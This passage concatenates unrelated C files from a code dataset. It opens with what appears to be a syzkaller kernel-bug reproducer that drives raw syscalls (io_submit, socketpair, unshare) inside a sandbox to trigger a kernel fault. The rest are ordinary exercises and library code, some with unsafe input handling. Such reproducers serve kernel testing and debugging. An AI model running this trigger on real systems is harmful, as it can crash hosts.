if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[1024];
};
static struct nlmsg nlmsg;
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
int* reply_len)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
unsigned n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != hdr->nlmsg_len)
exit(1);
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (reply_len)
*reply_len = 0;
if (hdr->nlmsg_type == NLMSG_DONE)
return 0;
if (n < sizeof(struct nlmsghdr))
exit(1);
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))
exit(1);
if (hdr->nlmsg_type != NLMSG_ERROR)
exit(1);
return -((struct nlmsgerr*)(hdr + 1))->error;
}
static int netlink_send(struct nlmsg* nlmsg, int sock)
{
return netlink_send_ext(nlmsg, sock, 0, NULL);
}
static void netlink_device_change(struct nlmsg* nlmsg, int sock,
const char* name, bool up, const char* master,
const void* mac, int macsize,
const char* new_name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
hdr.ifi_index = if_nametoindex(name);
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
if (new_name)
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
const void* addr, int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
return netlink_send(nlmsg, sock);
}
static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
(void)err;
}
static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
(void)err;
}
static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name,
const void* addr, int addrsize, const void* mac,
int macsize)
{
struct ndmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ndm_ifindex = if_nametoindex(name);
hdr.ndm_state = NUD_PERMANENT;
netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, NDA_DST, addr, addrsize);
netlink_attr(nlmsg, NDA_LLADDR, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int tunfd = -1;
#define TUN_IFACE "syz_tun"
#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"
#define IFF_NAPI 0x0010
static void initialize_tun(void)
{
tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
if (tunfd == -1) {
printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
printf("otherwise fuzzing or reproducing might not work as intended\n");
return;
}
const int kTunFd = 240;
if (dup2(tunfd, kTunFd) < 0)
exit(1);
close(tunfd);
tunfd = kTunFd;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
exit(1);
}
char sysctl[64];
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
write_file(sysctl, "0");
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
write_file(sysctl, "0");
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4);
netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6);
uint64_t macaddr = REMOTE_MAC;
struct in_addr in_addr;
inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr),
&macaddr, ETH_ALEN);
struct in6_addr in6_addr;
inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr),
&macaddr, ETH_ALEN);
macaddr = LOCAL_MAC;
netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN,
NULL);
close(sock);
}
#define MAX_FDS 30
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
static int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
sandbox_common();
drop_caps();
if (unshare(CLONE_NEWNET)) {
}
initialize_tun();
loop();
exit(1);
}
static void close_fds()
{
for (int fd = 3; fd < MAX_FDS; fd++)
close(fd);
}
uint64_t r[3] = {0x0, 0xffffffffffffffff, 0xffffffffffffffff};
void loop(void)
{
intptr_t res = 0;
res = syscall(__NR_io_setup, 0x5f, 0x200000c0ul);
if (res != -1)
r[0] = *(uint64_t*)0x200000c0;
res = syscall(__NR_socketpair, 1ul, 2ul, 0, 0x20000240ul);
if (res != -1)
r[1] = *(uint32_t*)0x20000244;
res = syscall(__NR_dup, r[1]);
if (res != -1)
r[2] = res;
*(uint64_t*)0x200004c0 = 0x20000080;
*(uint64_t*)0x20000080 = 0;
*(uint32_t*)0x20000088 = 0;
*(uint32_t*)0x2000008c = 0;
*(uint16_t*)0x20000090 = 5;
*(uint16_t*)0x20000092 = 0;
*(uint32_t*)0x20000094 = r[2];
*(uint64_t*)0x20000098 = 0;
*(uint64_t*)0x200000a0 = 0;
*(uint64_t*)0x200000a8 = 0;
*(uint64_t*)0x200000b0 = 0;
*(uint32_t*)0x200000b8 = 0;
*(uint32_t*)0x200000bc = -1;
syscall(__NR_io_submit, r[0], 1ul, 0x200004c0ul);
syscall(__NR_socket, 0x1dul, 2ul, 2);
syscall(__NR_unshare, 0x40000000ul);
close_fds();
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
do_sandbox_none();
return 0;
}
|
the_stack_data/107952122.c | #include <stdio.h>
struct student {
char firstName[50];
int roll;
float marks;
} s[5];
int main() {
int i;
printf("Enter information of students:\n");
// storing information
for (i = 0; i < 5; ++i) {
s[i].roll = i + 1;
printf("\nFor roll number%d,\n", s[i].roll);
printf("Enter first name: ");
scanf("%s", s[i].firstName);
printf("Enter marks: ");
scanf("%f", &s[i].marks);
}
printf("Displaying Information:\n\n");
// displaying information
for (i = 0; i < 5; ++i) {
printf("\nRoll number: %d\n", i + 1);
printf("First name: ");
puts(s[i].firstName);
printf("Marks: %.1f", s[i].marks);
printf("\n");
}
}
|
the_stack_data/102866.c | #include <stdio.h>
#include <math.h>
int main () {
int i = 0;
double data;
double mean = 0.0;
double acc = 0.0;
double deviation;
double variance;
while(!feof(stdin)) {
scanf("%lf\n",&data);
mean += data; //xbarra ^ 2
acc += (data * data); // x(i) ^ 2
i++;
}
mean = (mean/i);
variance = (acc / i) - (mean*mean);
deviation = sqrt(variance);
printf("\nfor a sample of size %ld\n", i);
printf("mean ................. = %7.7lf\n", mean);
printf("standard deviation ... = %7.7lf\n", deviation);
} |
the_stack_data/1243116.c | #include <stdio.h>
int main()
{
int sign = 1;
double deno = 2.0,sum = 1.0,term;
while(deno <= 100)
{
sign = -sign;
sum += sign/deno;
deno++;
}
printf("%f\n",sum);
return 0;
}
|
the_stack_data/75136854.c | /* This testcase is part of GDB, the GNU debugger.
Copyright 2004-2016 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
void arg_passing_test2 (void);
int
main (void)
{
arg_passing_test2 ();
return 0;
}
/* Asm for procedure arg_passing_test2.
The challenge here is getting past the 'mr 0,3' and 'stb'
instructions. */
asm (" .section \".text\"\n"
" .align 2\n"
" .globl arg_passing_test2\n"
" .type arg_passing_test2, @function\n"
"arg_passing_test2:\n"
" stwu 1,-64(1)\n"
" stw 31,60(1)\n"
" mr 31,1\n"
" mr 0,3\n"
" evstdd 4,16(31)\n"
" stw 5,24(31)\n"
" stw 7,32(31)\n"
" stw 8,36(31)\n"
" stw 9,40(31)\n"
" stb 0,8(31)\n"
" lwz 11,0(1)\n"
" lwz 31,-4(11)\n"
" mr 1,11\n"
" blr\n"
" .size arg_passing_test2, .-arg_passing_test2\n");
|
the_stack_data/33855.c | // Copyright [2017] [Sergey Markelov]
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// developed by Sergey Markelov (09/14/2017)
int libmain_add(int a, int b) {
return a + b;
}
|
the_stack_data/2098.c | //
// Created by akela on 31-08-2016.
//
#include <stdio.h>
int productlast() {
int i, z, rem, k, n, m, p = 0, q, f;
printf("Enter the number");
scanf("%d", &i);
z = i;
n = i;
rem = z % 10;
while (n != 0) {
m = n % 10;
p = p * 10 + m;
n = n / 10;
}
q = p % 10;
f = rem * q;
printf("the answer is %d", f);
} |
the_stack_data/29824645.c | /* uncompr.c -- decompress a memory buffer
* Copyright (C) 1995-2002 Jean-loup Gailly.
* For conditions of distribution and use, see copyright notice in zlib.h
*/
/* @(#) $Id$ */
#include "zlib.h"
/* ===========================================================================
Decompresses the source buffer into the destination buffer. sourceLen is
the byte length of the source buffer. Upon entry, destLen is the total
size of the destination buffer, which must be large enough to hold the
entire uncompressed data. (The size of the uncompressed data must have
been saved previously by the compressor and transmitted to the decompressor
by some mechanism outside the scope of this compression library.)
Upon exit, destLen is the actual size of the compressed buffer.
This function can be used to decompress a whole file at once if the
input file is mmap'ed.
uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
buffer, or Z_DATA_ERROR if the input data was corrupted.
*/
int ZEXPORT uncompress (dest, destLen, source, sourceLen)
Bytef *dest;
uLongf *destLen;
const Bytef *source;
uLong sourceLen;
{
z_stream stream;
int err;
stream.next_in = (Bytef*)source;
stream.avail_in = (uInt)sourceLen;
/* Check for source > 64K on 16-bit machine: */
if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR;
stream.next_out = dest;
stream.avail_out = (uInt)*destLen;
if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR;
stream.zalloc = (alloc_func)0;
stream.zfree = (free_func)0;
err = inflateInit(&stream);
if (err != Z_OK) return err;
err = inflate(&stream, Z_FINISH);
if (err != Z_STREAM_END) {
inflateEnd(&stream);
return err == Z_OK ? Z_BUF_ERROR : err;
}
*destLen = stream.total_out;
err = inflateEnd(&stream);
return err;
}
|
the_stack_data/193892793.c | /**************************************************************
LZSS.C -- A Data Compression Program
(tab = 4 spaces)
***************************************************************
4/6/1989 Haruhiko Okumura
Use, distribute, and modify this program freely.
Please send me your improved versions.
PC-VAN SCIENCE
NIFTY-Serve PAF01022
CompuServe 74050,1022
**************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <time.h>
#define N 4096 /* size of ring buffer */
#define F 18 /* upper limit for match_length */
#define THRESHOLD 2 /* encode string into position and length
if match_length is greater than this */
#define NIL N /* index for root of binary search trees */
#define PARTITIONS 8
// TODO: need to remove coupling of all these variables
FILE *infile, *outfile; /* input & output files */
struct stat st; /* to get file size */
void createStringOfSize(int size, char * str_in[], char ** str_out[]){
*str_in = (char *) malloc (size);
int i;
for(i=0; i<PARTITIONS; i++){
*str_out[i] = (char *) malloc (size/PARTITIONS + size%PARTITIONS);
}
}
// TODO: device
void InitTree(int lson[], int rson[], int dad[]) /* initialize trees */
{
int i;
/* For i = 0 to N - 1, rson[i] and lson[i] will be the right and
left children of node i. These nodes need not be initialized.
Also, dad[i] is the parent of node i. These are initialized to
NIL (= N), which stands for 'not used.'
For i = 0 to 255, rson[N + i + 1] is the root of the tree
for strings that begin with character i. These are initialized
to NIL. Note there are 256 trees. */
for (i = N + 1; i <= N + 256; i++) rson[i] = NIL;
for (i = 0; i < N; i++) dad[i] = NIL;
}
// TODO: device
void InsertNode(int r, int lson[], int rson[], int dad[], int *match_position, int *match_length, unsigned char
text_buf[])
/* Inserts string of length F, text_buf[r..r+F-1], into one of the
trees (text_buf[r]'th tree) and returns the longest-match position
and length via the global variables match_position and match_length.
If match_length = F, then removes the old node in favor of the new
one, because the old one will be deleted sooner.
Note r plays double role, as tree node and position in buffer. */
{
int i, p, cmp;
unsigned char *key;
cmp = 1; key = &text_buf[r]; p = N + 1 + key[0];
rson[r] = lson[r] = NIL; *match_length = 0;
for ( ; ; ) {
if (cmp >= 0) {
if (rson[p] != NIL) p = rson[p];
else { rson[p] = r; dad[r] = p; return; }
} else {
if (lson[p] != NIL) p = lson[p];
else { lson[p] = r; dad[r] = p; return; }
}
for (i = 1; i < F; i++)
if ((cmp = key[i] - text_buf[p + i]) != 0) break;
if (i > *match_length) {
*match_position = p;
if ((*match_length = i) >= F) break;
}
}
dad[r] = dad[p]; lson[r] = lson[p]; rson[r] = rson[p];
dad[lson[p]] = r; dad[rson[p]] = r;
if (rson[dad[p]] == p) rson[dad[p]] = r;
else lson[dad[p]] = r;
dad[p] = NIL; /* remove p */
}
// TODO: device
void DeleteNode(int p, int lson[], int rson[], int dad[]) /* deletes node p from tree */
{
int q;
if (dad[p] == NIL) return; /* not in tree */
if (rson[p] == NIL) q = lson[p];
else if (lson[p] == NIL) q = rson[p];
else {
q = lson[p];
if (rson[q] != NIL) {
do { q = rson[q]; } while (rson[q] != NIL);
rson[dad[q]] = lson[q]; dad[lson[q]] = dad[q];
lson[q] = lson[p]; dad[lson[p]] = q;
}
rson[q] = rson[p]; dad[rson[p]] = q;
}
dad[q] = dad[p];
if (rson[dad[p]] == p) rson[dad[p]] = q; else lson[dad[p]] = q;
dad[p] = NIL;
}
// TODO: global
void Encode(int upper, int part, int offset, char * str_in, char * str_out[], int sizes[]) //txt buf
{
int i, c, len, r, s, last_match_length, code_buf_ptr;
int match_position, match_length; /* of longest match. These are
set by the InsertNode() procedure. */
int lson[N + 1], rson[N + 257], dad[N + 1]; /* left & right children &
parents -- These constitute binary search trees. */
unsigned char
text_buf[N + F - 1]; /* ring buffer of size N,
with extra F-1 bytes to facilitate string comparison */
unsigned char code_buf[17], mask;
unsigned long int
textsize = 0, /* text size counter */
textcount = 0, /* second text size counter */
codesize = 0, /* code size counter */
printcount = 0; /* counter for reporting progress every 1K bytes */
InitTree(lson, rson, dad); /* initialize trees */
code_buf[0] = 0; /* code_buf[1..16] saves eight units of code, and
code_buf[0] works as eight flags, "1" representing that the unit
is an unencoded letter (1 byte), "0" a position-and-length pair
(2 bytes). Thus, eight units require at most 16 bytes of code. */
code_buf_ptr = mask = 1;
s = 0; r = N - F;
for (i = s; i < r; i++) text_buf[i] = ' '; /* Clear the buffer with
any character that will appear often. */
for (len = 0; len < F && (c = str_in[textcount+offset]) != EOF && ++textcount <= upper; len++)
text_buf[r + len] = c; /* Read F bytes into the last F bytes of
the buffer */
if ((textsize = len) == 0) {
sizes[part] = 0;
return; /* text of size zero */
}
for (i = 1; i <= F; i++) InsertNode(r - i, lson, rson, dad, &match_position, &match_length, text_buf); /* Insert the F strings,
each of which begins with one or more 'space' characters. Note
the order in which these strings are inserted. This way,
degenerate trees will be less likely to occur. */
InsertNode(r,lson, rson, dad, &match_position, &match_length, text_buf); /* Finally, insert the whole string just read. The
global variables match_length and match_position are set. */
do {
if (match_length > len) match_length = len; /* match_length
may be spuriously long near the end of text. */
if (match_length <= THRESHOLD) {
match_length = 1; /* Not long enough match. Send one byte. */
code_buf[0] |= mask; /* 'send one byte' flag */
code_buf[code_buf_ptr++] = text_buf[r]; /* Send uncoded. */
} else {
code_buf[code_buf_ptr++] = (unsigned char) match_position;
code_buf[code_buf_ptr++] = (unsigned char)
(((match_position >> 4) & 0xf0)
| (match_length - (THRESHOLD + 1))); /* Send position and
length pair. Note match_length > THRESHOLD. */
}
if ((mask <<= 1) == 0) { /* Shift mask left one bit. */
for (i = 0; i < code_buf_ptr; i++) /* Send at most 8 units of */
str_out[part][codesize+i] = code_buf[i]; /* code together */
codesize += code_buf_ptr;
code_buf[0] = 0; code_buf_ptr = mask = 1;
}
last_match_length = match_length;
for (i = 0; i < last_match_length &&
(c = str_in[textcount+offset]) != EOF && ++textcount <= upper; i++) {
DeleteNode(s, lson, rson, dad); /* Delete old strings and */
text_buf[s] = c; /* read new bytes */
if (s < F - 1) text_buf[s + N] = c; /* If the position is
near the end of buffer, extend the buffer to make
string comparison easier. */
s = (s + 1) & (N - 1); r = (r + 1) & (N - 1);
/* Since this is a ring buffer, increment the position
modulo N. */
InsertNode(r, lson, rson, dad, &match_position, &match_length, text_buf); /* Register the string in text_buf[r..r+F-1] */
}
if ((textsize += i) > printcount) {
/*printf("%12ld\r", textsize);*/ printcount += 1024;
/* Reports progress each time the textsize exceeds
multiples of 1024. */
}
while (i++ < last_match_length) { /* After the end of text, */
DeleteNode(s, lson, rson, dad); /* no need to read, but */
s = (s + 1) & (N - 1); r = (r + 1) & (N - 1);
if (--len) InsertNode(r, lson, rson, dad, &match_position, &match_length, text_buf); /* buffer may not be empty. */
}
} while (len > 0); /* until length of string to be processed is zero */
if (code_buf_ptr > 1) { /* Send remaining code. */
for (i = 0; i < code_buf_ptr; i++) str_out[part][codesize+i] = code_buf[i];
codesize += code_buf_ptr;
}
printf("In : %ld bytes\n", textsize); /* Encoding is done. */
printf("Out: %ld bytes\n", codesize);
printf("Out/In: %.3f\n", (double)codesize / textsize);
sizes[part] = codesize;
}
// TODO: global
// no branches
void Decode(FILE * in) /* Just the reverse of Encode(). */
{
int i, j, k, r, c;
unsigned int flags;
unsigned char
text_buf[N + F - 1]; /* ring buffer of size N,
with extra F-1 bytes to facilitate string comparison */
for (i = 0; i < N - F; i++) text_buf[i] = ' ';
r = N - F; flags = 0;
for ( ; ; ) {
if (((flags >>= 1) & 256) == 0) {
if ((c = getc(in)) == EOF) break;
flags = c | 0xff00; /* uses higher byte cleverly */
} /* to count eight */
if (flags & 1) {
if ((c = getc(in)) == EOF) break;
putc(c, outfile); text_buf[r++] = c; r &= (N - 1);
} else {
if ((i = getc(in)) == EOF) break;
if ((j = getc(in)) == EOF) break;
i |= ((j & 0xf0) << 4); j = (j & 0x0f) + THRESHOLD;
for (k = 0; k <= j; k++) {
c = text_buf[(i + k) & (N - 1)];
putc(c, outfile); text_buf[r++] = c; r &= (N - 1);
}
}
}
}
void readFile(FILE * in, char * str_in){
int i = 0;
while(1){
char c = getc(in);
str_in[i++] = c;
if(c == EOF) break;
}
}
void writeFile(FILE * out, int part, int size, char * str_out[]){
int i = 0;
while(i < size){
putc(str_out[part][i++], out);
}
putc(EOF, out);
}
int main(int argc, char *argv[])
{
char *s, *in;
char * str_in, // TODO: can have in global memory since
* str_out[PARTITIONS]; // TODO: need to come up with better way
if (argc != 4) {
printf("'lzss e file1 file2' encodes file1 into file2.\n"
"'lzss d file2 file1' decodes file2 into file1.\n");
return EXIT_FAILURE;
}
if ((s = argv[1], s[1] || strpbrk(s, "DEde") == NULL)
|| (s = argv[2], in = argv[2], (infile = fopen(s, "rb")) == NULL)
|| (s = argv[3], (outfile = fopen(s, "wb")) == NULL)) {
printf("??? %s\n", s); return EXIT_FAILURE;
}
if (toupper(*argv[1]) == 'E'){
time_t start = time(NULL);
printf("\nStart time: %ld\n", start);
pid_t pids[PARTITIONS];
stat(argv[2], &st);
int size = st.st_size;
str_in = (char *) malloc (size);
int i;
for(i=0; i<PARTITIONS; i++){
str_out[i] = (char *) malloc (size/PARTITIONS + size%PARTITIONS);
}
//createStringOfSize(size, &str_in, &str_out);
printf("%d\n",size);
int part = 0, seeksize = size/PARTITIONS, sizes[PARTITIONS];
remove(s);
readFile(infile, str_in);
// TODO: move all to device memory;
// TODO: kernel call
// TODO: save all encoded files to array elements
// TODO: move that to main memory
// TODO: file write
for(part = 0; part < PARTITIONS; part++){
int pid =fork();
if(pid > 0) {
pids[part] = pid;
continue;
} else {
//chdir(path);
//FILE * infile_part = fopen(in, "rb");
//fseek(infile_part, seeksize*part, SEEK_SET);
//printf("%.2f%%\n",part/(float)PARTITIONS);
//printf("\n\nPart: %d\n\n", part);
sprintf(s,"%s.%d",s,part);
FILE * out = fopen(s, "wb");
s[strlen(s)-2] = '\0';
//nice(-15);
Encode(seeksize+(part==PARTITIONS ? size%PARTITIONS:0), part, size/PARTITIONS * part, str_in, str_out, sizes);
writeFile(out, part, sizes[part], str_out);
return EXIT_SUCCESS;
}
}
for(part = 0; part < PARTITIONS; part++) {
if(pids[part] > 0) {
printf("\n\nWaiting on part: %d\n\n", part);
waitpid(pids[part], NULL, 0);
}
}
time_t end = time(NULL);// - start;
printf("\nEnd time: %ld\n", end);
printf("\nTime taken: %f\n",difftime(end, start));
//int msec = diff * 1000 / CLOCKS_PER_SEC;
//printf("Time taken %d seconds %d milliseconds\n", msec/1000, msec%1000);
} else {
int part = 0;
for(part = 0; part < PARTITIONS; part++){
in[strlen(in)-2] = '\0';
sprintf(in,"%s.%d",in,part);
printf("%s\n",in);
FILE * inf = fopen(in, "rb");
Decode(inf);
fclose(inf);
}
}
fclose(infile); fclose(outfile);
return EXIT_SUCCESS;
}
|
the_stack_data/3310.c | // Compile with $CC -nostdlib -shared TestModule.c -o TestModule.so
// The actual contents of the test module is not important here. I am using this
// because it
// produces an extremely tiny (but still perfectly valid) module.
void boom(void) {
char *BOOM;
*BOOM = 47;
}
|
the_stack_data/18886940.c | #if 0
MIT License
Copyright (c) 2021 Erik Kline
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
#endif
#include <arpa/inet.h>
#include <assert.h>
#ifdef __APPLE__
# include <net/ethernet.h>
#else
# include <netinet/ether.h>
#endif
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
void usage() {
fprintf(stderr, "usage: mac48\n\n");
fprintf(stderr, "Given a MAC, return the modified EUI64 IPv6 IID\n");
}
int main(int argc, const char* argv[]) {
assert(6 == sizeof(struct ether_addr));
assert(16 == sizeof(struct in6_addr));
if (argc != 2) {
usage();
return __LINE__;
}
struct in6_addr ipv6;
memset(&ipv6, 0, sizeof(ipv6));
// Try to parse the argument as a MAC address.
struct ether_addr *parsed_mac48 = ether_aton(argv[1]);
if (parsed_mac48 != NULL) {
for (int i = 0; i < 3; i++) {
ipv6.s6_addr[8+i] = parsed_mac48->ether_addr_octet[i];
ipv6.s6_addr[13+i] = parsed_mac48->ether_addr_octet[3+i];
}
ipv6.s6_addr[8] ^= 0x02;
ipv6.s6_addr[11] = 0xff;
ipv6.s6_addr[12] = 0xfe;
char buf[INET6_ADDRSTRLEN];
memset(&buf, 0, sizeof(buf));
fprintf(stdout, "%s\n", inet_ntop(AF_INET6, &ipv6, buf, sizeof(buf)));
return 0;
}
// Failed to parse argument.
usage();
return __LINE__;
}
|
the_stack_data/138274.c | /*
* Created by gt on 12/19/21 - 11:41 PM.
